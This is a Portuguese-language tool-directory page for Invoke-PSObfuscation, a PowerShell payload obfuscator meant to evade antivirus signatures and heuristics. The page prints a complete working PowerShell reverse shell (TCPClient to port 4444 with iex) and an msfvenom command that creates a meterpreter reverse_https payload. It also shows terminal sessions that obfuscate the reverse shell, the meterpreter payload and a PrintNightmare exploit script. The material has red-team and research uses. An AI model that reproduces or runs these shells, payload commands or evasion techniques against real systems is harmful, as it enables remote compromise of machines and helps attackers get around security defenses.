Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Invoke-PSObfuscation — Uma abordagem aprofundada para ofuscar os componentes individuais de um payload do PowerShell, seja no Windows ou no Kali Linux. | Kitploit
Ferramentas/GitHubGitHub/gh0x0st/invoke-psobfuscation
Geração de PayloadsExploraçãoShellcodeRed TeamingDesenvolvimento de Payloads
GitHubgh0x0st/invoke-psobfuscation

Invoke-PSObfuscation

Uma abordagem aprofundada para ofuscar os componentes individuais de um payload do PowerShell, seja no Windows ou no Kali Linux.

Ver Repositório
28452há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Invoke-PSObfuscation

Técnicas tradicionais de ofuscação tendem a adicionar camadas para encapsular código existente, como base64 ou compressão. Esses payloads continuam tendo um grau variado de sucesso, mas tornaram-se triviais para extrair o payload pretendido e alguns lançadores são frequentemente detectados, o que essencialmente introduz pontos de bloqueio.

A abordagem que esta ferramenta introduz é uma metodologia onde você pode segmentar e ofuscar os componentes individuais de um script com variações aleatórias, mantendo a mesma lógica pretendida, sem encapsular todo o payload em uma única camada. Devido à complexidade da lógica de ofuscação, os payloads resultantes serão muito difíceis de assinar e passarão por mecanismos heurísticos que não são programados para emular a lógica herdada.

Embora este script possa ofuscar a maioria dos payloads com sucesso por conta própria, este projeto também servirá como uma estrutura permanente que usarei para produzir funções futuras que utilizarão esta estrutura para fornecer payloads ofuscados dedicados, como um que produza apenas reverse shells.

Escrevi um artigo para a Offensive Security como precursor das técnicas que esta ferramenta introduz. Antes de prosseguir, considere lê-lo primeiro: https://www.offensive-security.com/offsec/powershell-obfuscation/

Payloads Dedicados

Como parte do meu trabalho contínuo com ofuscação PowerShell, estou construindo scripts que produzem payloads dedicados que utilizam esta estrutura. Eles têm me ajudado a economizar tempo e espero que você também os ache úteis. Você pode encontrá-los em suas próprias pastas na raiz deste repositório.

  1. Get-ReverseShell
  2. Get-DownloadCradle
  3. Get-Shellcode

Componentes

Como muitas outras linguagens de programação, o PowerShell pode ser dividido em vários componentes diferentes que compõem a lógica executável. Isso nos permite derrotar detecções baseadas em assinaturas com relativa facilidade, alterando a forma como representamos componentes individuais dentro de um payload para uma forma obscura ou ininteligível.

Tenha em mente que segmentar todos os componentes em payloads complexos é muito intrusivo. Esta ferramenta é construída para que você possa segmentar os componentes que deseja ofuscar de forma controlada. Descobri que muitas assinaturas podem ser derrotadas simplesmente segmentando cmdlets, variáveis e quaisquer comentários. Ao usar isso contra payloads complexos, como o PrintNightmare, lembre-se de que parâmetros de função personalizados / variáveis também serão alterados. Sempre teste adequadamente quaisquer payloads resultantes e certifique-se de estar ciente de quaisquer parâmetros nomeados modificados.

Tipos de componentes como pipes e variáveis de pipeline são introduzidos aqui para ajudar a tornar seu payload mais obscuro e difícil de decodificar.

Tipos Suportados

  • Aliases (iex)
  • Cmdlets (New-Object)
  • Comentários (# e <# #>)
  • Inteiros (4444)
  • Métodos ($client.GetStream())
  • Classes de Namespace (System.Net.Sockets.TCPClient)
  • Pipes (|)
  • Variáveis de Pipeline ($_)
  • Strings ("valor" | 'valor')
  • Variáveis ($client)

Geradores

Cada componente tem seu próprio gerador dedicado que contém uma lista de valores estáticos ou gerados dinamicamente que são selecionados aleatoriamente durante cada execução. Se houver várias instâncias de um componente, ele iterará cada uma individualmente com um gerador. Isso adiciona um grau de aleatoriedade cada vez que você executa esta ferramenta contra um determinado payload, então cada iteração será diferente. A única exceção a isso são os nomes de variáveis.

Se um algoritmo relacionado a um componente específico começar a fazer com que um payload seja sinalizado, o design atual nos permite modificar facilmente a lógica desse gerador sem comprometer todo o script.

root@kitploit:~
$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

Requisitos

Este framework e os payloads resultantes foram testados nos seguintes sistemas operacionais e versões do PowerShell. Os reverse shells resultantes não funcionarão no PowerShell v2.0

Exemplos de Uso

CVE-2021-34527 (PrintNightmare)

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

PowerShell Reverse Shell

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
    Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
    Generator 2 >> PS  >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

Shell Reverso PowerShell Ofuscado

Alt text

Shellcode PowerShell do Meterpreter

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done

Ajuda Baseada em Comentários

root@kitploit:~
<#
    .SYNOPSIS
        Transforma scripts PowerShell em algo obscuro, pouco claro ou ininteligível.
    
    .DESCRIPTION
        Enquanto a maioria das ferramentas de ofuscação tende a adicionar camadas para encapsular código existente, como base64 ou compressão,
        elas geralmente deixam o payload pretendido intacto, o que essencialmente introduz pontos de bloqueio. O Invoke-PSObfuscation
        foca em substituir os componentes existentes do seu código, ou camada 0, por valores alternativos.
    
    .PARAMETER Path
        Um payload PowerShell fornecido pelo usuário através de um arquivo simples.
    
    .PARAMETER All
        A chave All é usada para engajar todos os componentes suportados para ofuscar um determinado payload. Esta ação é muito intrusiva
        e pode resultar na quebra do seu payload. Não deve haver problemas ao usar isso com o reverse shell vanilla.
        No entanto, é recomendado direcionar componentes específicos com payloads mais avançados. Lembre-se de que alguns
        geradores introduzidos neste script podem até confundir seu ISE, então certifique-se de testar adequadamente.
        
    .PARAMETER Aliases
        A chave Aliases é usada para instruir a função a ofuscar aliases.

    .PARAMETER Cmdlets
        A chave Cmdlets é usada para instruir a função a ofuscar cmdlets.

    .PARAMETER Comments
        A chave Comments é usada para instruir a função a remover todos os comentários.

    .PARAMETER Integers
        A chave Integers é usada para instruir a função a ofuscar inteiros.

    .PARAMETER Methods
        A chave Methods é usada para instruir a função a ofuscar invocações de métodos.

    .PARAMETER NamespaceClasses
        A chave NamespaceClasses é usada para instruir a função a ofuscar classes de namespace.
    
    .PARAMETER Pipes
        A chave Pipes é usada para instruir a função a ofuscar pipes.

    .PARAMETER PipelineVariables
        A chave PipelineVariables é usada para instruir a função a ofuscar variáveis de pipeline.

    .PARAMETER ShowChanges
        A chave ShowChanges é usada para instruir o script a exibir os valores brutos e ofuscados na tela.

    .PARAMETER Strings
        A chave Strings é usada para instruir a função a ofuscar strings de prompt.
  
    .PARAMETER Variables
        A chave Variables é usada para instruir a função a ofuscar variáveis.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
    
    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
    
    .OUTPUTS
        System.String, System.String
    
    .NOTES
        Informações adicionais sobre a função.
#>
Baixar ferramenta
Versão do PSSO TestadoInvoke-PSObfucation.ps1Shell Reverso
7.1.3Kali 2021.2SuportadoSuportado
5.1.19041.1023Windows 10 10.0.19042SuportadoSuportado
5.1.21996.1Windows 11 10.0.21996SuportadoSuportado